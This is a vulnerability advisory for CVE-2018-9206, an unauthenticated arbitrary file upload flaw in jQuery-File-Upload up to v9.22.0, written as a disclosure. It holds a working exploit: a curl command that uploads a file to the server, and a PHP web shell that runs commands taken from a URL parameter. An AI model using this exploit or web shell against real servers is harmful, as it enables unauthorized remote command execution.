Title: jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2018-10-09
CVE-ID:[CVE-2018-9206]
Download Site: https://github.com/blueimp/jQuery-File-Upload/
Vendor: https://github.com/blueimp
Vendor Notified: 2018-10-09

Advisory: http://www.vapidlabs.com/advisory.php?v=204
Description: File Upload widget with multiple file selection, drag&drop support, progress bar, \
validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and \
resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, \
Ruby on Rails, Java, etc.) that supports standard HTML form file uploads. Vulnerability:
The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php \
doesn't require any validation to upload files to the server. It also doesn't exclude file \
types. This allows for remote code execution.


Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php

Where shell.php is:

<?php 

$cmd=$_GET['cmd']; 

system($cmd);

?>

Notes: Actively being exploited in the wild. \
